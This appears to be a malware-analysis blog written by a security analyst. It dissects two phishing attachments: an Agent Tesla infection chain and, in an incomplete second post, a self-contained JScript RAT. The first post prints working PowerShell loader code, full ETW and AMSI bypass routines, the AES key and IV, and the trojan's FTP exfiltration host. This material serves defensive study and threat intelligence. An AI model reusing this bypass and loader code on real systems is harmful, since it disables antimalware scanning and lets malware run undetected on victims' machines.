Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

Introduction

I am working as a Cyber Security Analysis and, inspired by Malware-Traffic-Analysis.net, I decided to start this blog of my own in order to analyse malicious email attachments and URLs that I receive on my public email address and, in doing so, hone my skills. The blog will be updated whenever I receive a malicious email and have the time to analyse it.

ACKNOWLEDGEMENT OF AMENDED PO NO.: 55963

On March 6 2026, 00:44 UTC, I received an email with the following details:

FromSubjectSender addressSender IP
“Ace Exim Pte. Ltd” <export12@bestu-international.shop>ACKNOWLEDGEMENT OF AMENDED PO NO.: 55963export12@bestu-international.shop185.117.90.210

The email passed authentication checks, including SPF, DMARC, and DKIM. However, the sender domain and IP are listed in email blocklists for spam. Furthermore, the sender impersonates “Ace Exim Pte. Ltd”, a legitimate ship recycling company located in Singapore.

The email contains the following attachment:

NameTypeMagicSHA256
AMENDED PO NO. 55963.r00RARRAR archive data, v4, os: Win32756e2527fd5a40547e66224ba0933785c1c6cc607b89510e863f18f5ef4dcc8f

Analysis

JScript Dropper

Extracting the attached RAR archive yields the file “AMENDED PO NO. 55963.JS”. This script is heavily obfuscated so I used box-js to execute the file in a local sandbox and extract IOCs. The following operations were identified:

  • The script looks for the files C:\Users\Public\Mands.png and C:\Users\Public\Vile.png.
  • If the files exist, they are deleted.
  • Text is written to both files using the ADODB.Stream ActiveX object methods1.
  • Finally, the following command is executed:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Noexit -nop -c iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(('...'.Replace('BHNZISEUX','')))))

The command includes a base64 encoded string (omitted) with the character sequence BHNZISEUX added to it multiple times for obfuscation. These sequences are removed, the string is decoded, and the resulting expression is invoked.

I used the following CyberChef recipe to decode the payload:

Regular_expression('User defined','\'([A-Za-z0-9+/=]+)\'',false,false,false,false,false,false,'List capture groups')
Find_/_Replace({'option':'Simple string','string':'BHNZISEUX'},'',true,false,false,false)
From_Base64('A-Za-z0-9+/=',true,false)
Decode_text('UTF-16LE (1200)')

PowerShell Loader (part 1)

The resulting script has comments (likely AI generated) which explain its functionality in detail.

  • The script defines the following variables:
    • $inputBase64FilePath: a file path
    • $FONIA1: base64 encoded AES key
    • $FONIA2: base64 encoded AES IV
  • It reads the Mands.png file, decodes it as base64, and decrypts it with AES.
  • It decodes each line as base64 and executes it as a separate command.
# Specify the path to your text file
$inputBase64FilePath = "C:\Users\PUBLIC\Mands.png"
$FONIA1 = "XW/rxEcefeGgLkSZnkuT7xdp4anDC/iUpCgRgENPPto="
$FONIA2 = "kSkHVO9bPsG2F/4Nq5kUBA=="
# Create a new AES object
$aes_var = [System.Security.Cryptography.Aes]::Create()

# Set AES parameters
$aes_var.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes_var.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aes_var.Key = [System.Convert]::FromBase64String($FONIA1)
$aes_var.IV =  [System.Convert]::FromBase64String($FONIA2)

# Read the Base64-encoded encrypted data
$base64String = [System.IO.File]::ReadAllText($inputBase64FilePath)

# Convert Base64 string to byte array
$encryptedBytes = [System.Convert]::FromBase64String($base64String)

# Create a MemoryStream from the encrypted byte array
$memoryStream = [System.IO.MemoryStream]::new()

# Write the encrypted bytes to MemoryStream
$memoryStream.Write($encryptedBytes, 0, $encryptedBytes.Length)
$memoryStream.Position = 0  # Reset the position for reading

# Create a decryptor
$decryptor = $aes_var.CreateDecryptor()

# Create a CryptoStream for decryption
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Read)

# Read the decrypted data from the CryptoStream
$streamReader = New-Object System.IO.StreamReader($cryptoStream)
$decryptedString = $streamReader.ReadToEnd()

# Close streams
$cryptoStream.Close()
$memoryStream.Close()
$streamReader.Close()

# Print the decrypted result
#Write-Output "Decrypted result:"
#Write-Output $decryptedString

# Split the decrypted string into commands assuming they are separated by a newline
#$commands = $decryptedString -split "`n"

# Execute each command
# Split the decrypted string into commands assuming they are separated by a newline
$commands = $decryptedString -split "`n"

# Execute each command
foreach ($encodedCommand in $commands) {
    try {
        # Trim any whitespace
        $encodedCommand = $encodedCommand.Trim()

        # Validate command (optional, adjust as needed)
        if (-not [string]::IsNullOrWhiteSpace($encodedCommand)) {
            # Validate if it is a Base64 string
            if ($encodedCommand -match '^[A-Za-z0-9+/=]+$' -and ($encodedCommand.Length % 4 -eq 0)) {
                # Decode the Base64 command
                $decodedCommand = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($encodedCommand))
                # Write-Host "done"
                # Execute the decoded command
                Invoke-Expression $decodedCommand
            } else {
              #  Write-Host "Skipped invalid Base64 command: $encodedCommand"
            }
        } else {
          #  Write-Host "Skipped an empty command."
        }
        
    } catch {
      #  Write-Host ("Error executing command: {0}" -f $_.Exception.Message)
    }
}

ETW / AMSI Bypass

In order to decode and decrypt the contents of the Mands.png file, I used the following CyberChef recipe:

From_Base64('A-Za-z0-9+/=',true,false)
AES_Decrypt({'option':'Base64','string':'XW/rxEcefeGgLkSZnkuT7xdp4anDC/iUpCgRgENPPto='},{'option':'Base64','string':'kSkHVO9bPsG2F/4Nq5kUBA=='},'CBC','Raw','Raw',{'option':'Hex','string':''},{'option':'Hex','string':''})
From_Base64('A-Za-z0-9+/=',true,false)
Decode_text('UTF-16LE (1200)')

This resulted in another base64 encoded command obfuscated with HWEAAAJJHWEAAA character sequences, which I then decoded with the following recipe:

Regular_expression('User defined','\'([A-Za-z0-9+/=]+)\'',false,false,false,false,false,false,'List capture groups')
Find_/_Replace({'option':'Simple string','string':'HWEAAAJJHWEAAA'},'',true,false,false,false)
From_Base64('A-Za-z0-9+/=',true,false)
Decode_text('UTF-16LE (1200)')

The resulting script implements multiple techniques to evade detection by Event Tracing for Windows (ETW) and Antimalware Scan Interface (AMSI). At first, it defines memory-related constants, functions, and boilerplate reflection code.

$PAGE_READONLY = 0x02
$PAGE_READWRITE = 0x04
$PAGE_EXECUTE_READWRITE = 0x40
$PAGE_EXECUTE_READ = 0x20
$PAGE_GUARD = 0x100
$MEM_COMMIT = 0x1000
$MAX_PATH = 260

function IsReadable($protect, $state) {
    return ((($protect -band $PAGE_READONLY) -eq $PAGE_READONLY -or ($protect -band $PAGE_READWRITE) -eq $PAGE_READWRITE -or ($protect -band $PAGE_EXECUTE_READWRITE) -eq $PAGE_EXECUTE_READWRITE -or ($protect -band $PAGE_EXECUTE_READ) -eq $PAGE_EXECUTE_READ) -and ($protect -band $PAGE_GUARD) -ne $PAGE_GUARD -and ($state -band $MEM_COMMIT) -eq $MEM_COMMIT)
}

if ($PSVersionTable.PSVersion.Major -gt 2) {
    $DynAssembly = New-Object System.Reflection.AssemblyName("Win32")
    $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule("Win32", $False)

    $TypeBuilder = $ModuleBuilder.DefineType("Win32.MEMORY_INFO_BASIC", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])
    [void]$TypeBuilder.DefineField("BaseAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("AllocationBase", [IntPtr], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("AllocationProtect", [Int32], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("RegionSize", [IntPtr], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("State", [Int32], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("Protect", [Int32], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("Type", [Int32], [System.Reflection.FieldAttributes]::Public)
    $MEMORY_INFO_BASIC_STRUCT = $TypeBuilder.CreateType()

    $TypeBuilder = $ModuleBuilder.DefineType("Win32.SYSTEM_INFO", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])
    [void]$TypeBuilder.DefineField("wProcessorArchitecture", [UInt16], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("wReserved", [UInt16], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("dwPageSize", [UInt32], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("lpMinimumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("lpMaximumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("dwActiveProcessorMask", [IntPtr], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("dwNumberOfProcessors", [UInt32], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("dwProcessorType", [UInt32], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("dwAllocationGranularity", [UInt32], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("wProcessorLevel", [UInt16], [System.Reflection.FieldAttributes]::Public)
    [void]$TypeBuilder.DefineField("wProcessorRevision", [UInt16], [System.Reflection.FieldAttributes]::Public)
    $SYSTEM_INFO_STRUCT = $TypeBuilder.CreateType()

    $TypeBuilder = $ModuleBuilder.DefineType("Win32.Kernel32", "Public, Class")
    $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
    $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField("SetLastError")
    $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, "kernel32.dll", [Reflection.FieldInfo[]]@($SetLastError), @($True))

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualProtect", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [bool], [Type[]]@([IntPtr], [IntPtr], [Int32], [Int32].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetCurrentProcess", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@(), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualQuery", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@([IntPtr], [Win32.MEMORY_INFO_BASIC].MakeByRefType(), [uint32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetSystemInfo", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [void], [Type[]]@([Win32.SYSTEM_INFO].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetMappedFileName", "psapi.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [System.Text.StringBuilder], [uint32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("ReadProcessMemory", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("WriteProcessMemory", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Int32], [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetProcAddress", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@([IntPtr], [string]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetModuleHandle", "kernel32.dll", ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [IntPtr], [Type[]]@([string]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto)
    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)

    $Kernel32 = $TypeBuilder.CreateType()

    try { $ExecutionContext.SessionState.LanguageMode = 'FullLanguage' } catch { }
    try { Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser -Force -ErrorAction SilentlyContinue } catch { }

Then, it locates and patches the EtwEventWrite function, which is responsible for event logging, with shellcode so that it returns immediately, thus preventing event-based rules from being triggered.

    $etwAddr = [Win32.Kernel32]::GetProcAddress([Win32.Kernel32]::GetModuleHandle("ntdll.dll"), "EtwEventWrite")
    if ($etwAddr -ne [IntPtr]::Zero) {
        $oldProtect = 0
        $patchSize = if ([Environment]::Is64BitProcess) { 1 } else { 3 }
        $patchBytes = if ([Environment]::Is64BitProcess) { @(0xC3) } else { @(0xC2, 0x14, 0x00) }
        if ([Win32.Kernel32]::VirtualProtect($etwAddr, $patchSize, 0x40, [ref]$oldProtect)) {
            [System.Runtime.InteropServices.Marshal]::Copy($patchBytes, 0, $etwAddr, $patchSize)
            [Win32.Kernel32]::VirtualProtect($etwAddr, $patchSize, $oldProtect, [ref]$oldProtect)
        }
    }

Then, it attempts to patch the amsiSession and amsiContext fields of the AmsiUtils assembly. This technique breaks PowerShell script scanning, at least in older implementations2.

    try {
        $amsiUtils = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
        if ($amsiUtils) {
            $amsiUtils.GetField('amsiSession','NonPublic,Static').SetValue($null, $null)
            $amsiUtils.GetField('amsiContext','NonPublic,Static').SetValue($null, [IntPtr]::Zero)
        }
    } catch { }

Also, it attempts to delete the registry keys under HKLM:\SOFTWARE\Microsoft\AMSI\Providers. This technique requires elevated privileges but, if it succeeds, all antimalware products that are registered as AMSI providers are deregistered, effectively disabling script scanning.

    try {
        if (Test-Path 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers' -ErrorAction SilentlyContinue) {
            Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\AMSI\Providers' -ErrorAction SilentlyContinue | ForEach-Object { Remove-Item $_.PSPath -Recurse -Force -ErrorAction SilentlyContinue }
        }
    } catch { }

Finally, it moves on to a more sophisticated technique which disables AMSI by hiding the AmsiScanBuffer function from the .NET Common Language Runtime (CLR)3. This function is responsible for scanning buffers to determine if they contain malware. The CLR dynamically resolves the location of the function and exits gracefully if it cannot be found, in which case .NET binaries can be loaded reflectively without being scanned.

  • The script loops through each memory region.
  • It finds the memory region that maps to clr.dll.
  • It finds the location of the “AmsiScanBuffer” string.
  • It adds write permissions to the memory region.
  • It overwrites the target string with zeroes.
  • Finally, it restores the original memory positions.

To avoid AMSI detecting the “AmsiScanBuffer” string in this script, it is split into four variables.

    $a = "Ams"
    $b = "iSc"
    $c = "anBuf"
    $d = "fer"
    $signature = [System.Text.Encoding]::UTF8.GetBytes($a + $b + $c + $d)
    $hProcess = [Win32.Kernel32]::GetCurrentProcess()
    $sysInfo = New-Object Win32.SYSTEM_INFO
    [void][Win32.Kernel32]::GetSystemInfo([ref]$sysInfo)

    $clrModules = [System.Collections.ArrayList]::new()
    $address = [IntPtr]::Zero
    $memInfo = New-Object Win32.MEMORY_INFO_BASIC
    $pathBuilder = New-Object System.Text.StringBuilder $MAX_PATH
    $maxAddr = $sysInfo.lpMaximumApplicationAddress.ToInt64()
    
    while ($address.ToInt64() -lt $maxAddr) {
        $queryResult = [Win32.Kernel32]::VirtualQuery($address, [ref]$memInfo, [System.Runtime.InteropServices.Marshal]::SizeOf($memInfo))
        if ($queryResult) {
            if ((IsReadable $memInfo.Protect $memInfo.State) -and ($memInfo.RegionSize.ToInt64() -gt 0x1000)) {
                [void]$pathBuilder.Clear()
                $mappedResult = [Win32.Kernel32]::GetMappedFileName($hProcess, $memInfo.BaseAddress, $pathBuilder, $MAX_PATH)
                if ($mappedResult -gt 0) {
                    if ($pathBuilder.ToString().EndsWith("clr.dll", [StringComparison]::InvariantCultureIgnoreCase)) {
                        [void]$clrModules.Add($memInfo)
                    }
                }
            }
        }
        $address = New-Object IntPtr($memInfo.BaseAddress.ToInt64() + $memInfo.RegionSize.ToInt64())
    }

    $maxBufferSize = 0x100000
    $sigLen = $signature.Length
    $buffer = New-Object byte[] $maxBufferSize
    $replacement = New-Object byte[] $sigLen
    $bytesRead = 0
    $bytesWritten = 0
    
    foreach ($region in $clrModules) {
        $regionSize = $region.RegionSize.ToInt64()
        $processed = 0
        
        while ($processed -lt $regionSize) {
            $chunkSize = [Math]::Min($maxBufferSize, $regionSize - $processed)
            $currentAddr = [IntPtr]::Add($region.BaseAddress, $processed)
            
            $readResult = [Win32.Kernel32]::ReadProcessMemory($hProcess, $currentAddr, $buffer, $chunkSize, [ref]$bytesRead)
            if ($readResult -and $bytesRead -gt $sigLen) {
                $searchLimit = $bytesRead - $sigLen
                
                for ($k = 0; $k -le $searchLimit; $k += 4) {
                    if ($buffer[$k] -eq $signature[0]) {
                        $found = $true
                        for ($m = 1; $m -lt $sigLen; $m++) {
                            if ($buffer[$k + $m] -ne $signature[$m]) {
                                $found = $false
                                break
                            }
                        }
                        
                        if ($found) {
                            $targetAddr = [IntPtr]::Add($currentAddr, $k)
                            $oldProtect = 0
                            
                            $protectResult = [Win32.Kernel32]::VirtualProtect($targetAddr, $sigLen, $PAGE_EXECUTE_READWRITE, [ref]$oldProtect)
                            if ($protectResult) {
                                [void][Win32.Kernel32]::WriteProcessMemory($hProcess, $targetAddr, $replacement, $sigLen, [ref]$bytesWritten)
                                [void][Win32.Kernel32]::VirtualProtect($targetAddr, $sigLen, $oldProtect, [ref]$oldProtect)
                                return
                            }
                        }
                    }
                }
            }
            $processed += $chunkSize
        }
    }
}

PowerShell Loader (part 2)

After executing the previous script to bypass ETW and AMSI, the loader moves on to the Vile.png file, which is decoded and decrypted much like the Mands.png file. The result in this case is a .NET executable which is loaded reflectively and executed.

# Input Base64 encrypted file path
$inputBase64FilePath = "C:\Users\PUBLIC\Vile.png"

# Create a new AES object
$aes_var = [System.Security.Cryptography.Aes]::Create()

# Set AES parameters
$aes_var.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes_var.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aes_var.Key = [System.Convert]::FromBase64String($FONIA1)  # Your AES key
$aes_var.IV =  [System.Convert]::FromBase64String($FONIA2)  # Your IV

# Read the Base64-encoded encrypted data
$base64String = [System.IO.File]::ReadAllText($inputBase64FilePath)

# Convert Base64 string to byte array
$encryptedBytes = [System.Convert]::FromBase64String($base64String)

# Create a MemoryStream from the encrypted byte array
$memoryStream = [System.IO.MemoryStream]::new()
$memoryStream.Write($encryptedBytes, 0, $encryptedBytes.Length)
$memoryStream.Position = 0  # Reset the position for reading

# Create a decryptor
$decryptor = $aes_var.CreateDecryptor()

# Create a CryptoStream for decryption
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Read)

# Decrypt the data into a MemoryStream (no file output)
$decryptedMemoryStream = [System.IO.MemoryStream]::new()
try {
    $buffer = New-Object byte[] 4096
    $bytesRead = 0

    while (($bytesRead = $cryptoStream.Read($buffer, 0, $buffer.Length)) -gt 0) {
        $decryptedMemoryStream.Write($buffer, 0, $bytesRead)
    }
    $decryptedMemoryStream.Position = 0
} catch {
   # Write-Host ("Error during decryption: {0}" -f $_)
} finally {
    $cryptoStream.Close()
    $memoryStream.Close()
}

# Load the decrypted executable from memory
try {
    $decryptedBytes = $decryptedMemoryStream.ToArray()
    $decryptedMemoryStream.Close()

    # Attempt to load as an assembly
    $assembly = [Reflection.Assembly]::Load($decryptedBytes)
    #Write-Host "Assembly loaded successfully. Running..."

    # Invoke the entry point
    $entryPoint = $assembly.EntryPoint
    if ($entryPoint -ne $null) {
        # Create an array of parameters to pass to the main method
        $params = @()
        $entryPoint.Invoke($null, $params)
    } else {
     #   Write-Host "No entry point found in assembly."
    }

} catch {
  #  Write-Host ("Failed to load assembly: {0}" -f $_)
}

Agent Tesla

Finally, after having decrypted the executable, I decompiled it using dnSpyEx and started analysing the code.

The Properties/AssemblyInfo.cs file contains the following metadata, which indicates the executable is masquerading as a Python setup:

[assembly: AssemblyVersion("1.0.0.0")]
[assembly: Guid("ac817265-7162-4840-9799-486144a753d9")]
[assembly: AssemblyCopyright("Copyright (c) Python Software Foundation. All rights reserved.")]
[assembly: AssemblyTrademark("Python Software Foundation")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: AssemblyProduct("Python 3.11.3 (64-bit)")]
[assembly: AssemblyCompany("Python Software Foundation")]
[assembly: AssemblyDescription("Python 3.11.3 (64-bit)")]
[assembly: AssemblyTitle("setup")]

The f45b853c-c9d3-495e-9acb-d41a4a90029f.csproj project file identifies the assembly name of the executable as f45b853c-c9d3-495e-9acb-d41a4a90029f. A review of the code files, and in particular the configuration class, indicates that this sample is an Agent Tesla Remote Access Trojan.

The configuration dictates which operations are enabled or disabled:

  • PublicIpAddressGrab
  • EnableKeylogger
  • EnableScreenLogger
  • EnableClipboardLogger
  • EnableTorPanel
  • EnableCookies
  • EnableContacts
  • DeleteBackspace
  • AppAddStartup
  • HideFileStartup
  • HostEdit

The PublicIpAddressGrab configuration variable enables sending a request to a service like IP-API.com to retrieve the public IP address of the machine. However, the IpApi configuration variable is set to an empty string so this operation is effectively disabled.

It’s worth noting that a request is made to “http://ip-api.com/line/?fields=hosting” in order to identify whether the IP address belongs to a hosting provider, but the result does not include the IP itself. Also, the user agent of HTTP(S) requests is set to “Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0”, to masquerade the network traffic as originating from a Firefox 99 browser on a Windows 10 device.

The EnableCookies variable enables exfiltration of browser credentials from several browsers. However, it is not accessed anywhere in the code so this operation seems to be disabled.

The EnableContacts variable enables exfiltration of contacts from the Thunderbird mail client. Thunderbird stores this data in the “identities” table of the “global-messages-db.sqlite” file.

The HostEdit variable enables editing the hosts file, which may be used to redirect popular domains to malicious IP addresses. However, no redirects are actually configured, as indicated by the text variable being empty in the relevant function:

string text = "";
string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.System);
string text2 = Path.Combine(folderPath, "\\drivers\\etc\\hosts");
File.AppendAllText(text2, string.Join(Environment.NewLine, text.Split(new char[] { ',' })));

Browser passwords from several browsers are exfiltrated by default and not controlled by the configuration. The data exfiltration occurs over FTP towards the domain identified by the FtpHost configuration variable:

public static string FtpHost = "ftp://ftp.martexbuilt.com.au";

Indicators of Compromise

TypeValueLinksComment
Emailexport12@bestu-international.shopN/ASender address
Domainbestu-international.shopMXToolBox
VirusTotal
Sender domain
Domainftp.martexbuild.com.auVirusTotalC2 server
IP185.117.90.210AbuseIPDBSender IP
Hash756e2527fd5a40547e66224ba0933785c1c6cc607b89510e863f18f5ef4dcc8fVirusTotal
ANY.RUN
AMENDED PO NO. 55963.r00
Hash9be483c90186e01bcbf15272b95633855684f83a700f3dafeaa945dcc25bc707VirusTotal
Triage
AMENDED PO NO. 55963.JS
Hash3638971ea743e157e4f3cd05f91055d26721ac2769e352d8e16eba41d15514d8N/AMands.png (encrypted)
Hash3dc07bd0d06871debc2fca7e38310e29722cfcce75c02b84368070b9d81d788aVirusTotalETW / AMSI bypass
Hash59ce20dd1fc5baca48a92244368b5e94e85920fd78eb409c4366cfc500811656N/AVile.png (encrypted)
Hashfc640a2a31dce7882edbc7ef4c8ce69cc7673ed4a22332685a66b758225ddd64VirusTotal
Hybrid Analysis
Agent Tesla

MITRE ATT&CK® Techniques


  1. Stream object (ADO) | Microsoft Learn

  2. Exploring PowerShell AMSI and Logging Evasion - MDSec

  3. New AMSI Bypss Technique Modifying CLR.DLL in Memory – Practical Security Analytics LLC

Nueva orden de compra 4504238494

On April 14 2026, 17:16 UTC, I received an email with the following details:

FromSubjectSender addressSender IP
“Tahany ElBarmawy” <dao@ambserbie-alger.com>Nueva orden de compra 4504238494dao@ambserbie-alger.com85.137.51.11

The subject is in Spanish and translates to “New purchase order 4504238494”.

The sender domain has not configured DKIM and DMARC and the SPF check failed, which indicates that the email was likely spoofed. The website currently redirects to “ambserbie-alger-com.hostdz.website” and returns an internal server error. Based on references from other sites, as well as previous snapshots from the Internet Archive, it belongs to the Serbian Embassy in Algeria.

The email contains the following attachment:

NameTypeMagicSHA256
GR5000171604.7z7ZIP7-zip archive data, version 0.4745158871066b7e3aa4ed48234c5f24b5389b2cb92945b86aa530488a7d47afc

Analysis

Extracting the attached archive yields the file “GR5000171604.js”, which is obfuscated via “Obfuscator.io” and I deobfuscated using webcrack. This script is not a loader for a multi-stage malware but instead contains the entire functionality. This analysis organises the functional components of the script into five sections based on their role. Since the script is self-contained, many parts of the implementation will be omitted to prevent reproduction of the malware.

Environment Setup

The script defines the numeric enums v and v94 and the string enum v19.

var v;

(function (p11) {
  p11[p11.Running = 0] = "Running";
  p11[p11.Finished = 1] = "Finished";
  p11[p11.ErrorOccured = 2] = "ErrorOccured";
})(v ||= {});
var v19;

(function (p56) {
  p56.GetFile = "ex";
  p56.GetLoader = "sb";
  p56.GetPayload = "vc";
  p56.GetProperties = "df";
  p56.GetUpdate = "kp";
  p56.GetShell = "tw";
})(v19 ||= {});
var v94;

(function (p78) {
  p78[p78.NEW = 0] = "NEW";
  p78[p78.RUNNABLE = 1] = "RUNNABLE";
  p78[p78.BLOCKED = 2] = "BLOCKED";
  p78[p78.WAITING = 3] = "WAITING";
  p78[p78.TIMED_WAITING = 4] = "TIMED_WAITING";
  p78[p78.TERMINATED = 5] = "TERMINATED";
})(v94 ||= {});

The vF class stores a callback function to be executed later via its Run method.

var vF = function () {
  function f(p) {
    this.action = p;
  }
  f.prototype.Run = function () {
    this.action.apply(this.action);
  };
  return f;
}();

The vF2 class includes functions for managing callbacks stored in the ExitCallbacks array.

  • AddExitCallback adds a callback to an array ensuring uniqueness.
  • RemoveExitCallback removes a callback from the array.
  • DoExitCallback executes all callbacks while ignoring errors.
  • Initialize polyfills the Array.filter, Array.map, String.trim methods, which are not available in JScript, and defines the functions String.IsNullOrWhiteSpace and String.Reverse.
  • Run is responsible for calling the Main method of a given object using the script’s CLI arguments and executes the exit callbacks even if the method throws an error.
var vF2 = function () {
  function f2() {}
  f2.AddExitCallback = function (p2) { /* omitted */ };
  f2.RemoveExitCallback = function (p3) { /* omitted */ };
  f2.DoExitCallback = function () { /* omitted */ };
  f2.Initialize = function () {
    Array.prototype.filter = function (p4, p5) { /* omitted */ };
    Array.prototype.map = function (p6, p7) { /* omitted */ };
    String.IsNullOrWhiteSpace = function (p8) {
      return p8 == null || /\S/.test(p8) == 0;
    };
    String.Reverse = function (p9) {
      return p9.split("").reverse().join("");
    };
    String.prototype.trim = function () { /* omitted */ };
  };
  f2.Run = function (p10) {
    for (var v16 = WSH.Arguments, v17 = [], v18 = 0; v18 < v16.length; v18++) {
      v17[v18] = v16.Item(v18);
    }
    try {
      p10.Main(v17);
    } finally {
      this.DoExitCallback();
    }
  };
  f2.ExitCallbacks = [];
  return f2;
}();

The vF6 class implements JSON.stringify which is also not available in JScript. It uses the f6 class to represent serialised objects.

function f6() {
  this.Ignore = false;
  this.String = "";
}
var vF6 = function () {
  function f7() {}
  f7._formatString = function (p52 = "") { /* omitted */ };
  f7._stringify = function (p54) { /* omitted */ };
  f7.stringify = function (p55) { /* omitted */ };
  f7._escapable = /* omitted */;
  f7._meta = { /* omitted */ };
  return f7;
}();

Abstraction Layer

Operating System

The vF3 / vVF3 class implements abstractions for OS operations. It defines the Object property, which is an instance of the Wscript.Shell COM object, and the wscriptShell property, which is a reference to the global Windows Script Host object.

  • CreateObject wraps ActiveXObject to create a COM object.
  • Exec wraps the Exec method of Wscript.Shell to execute a command.
  • Exit runs the registered exit callbacks and quits the script.
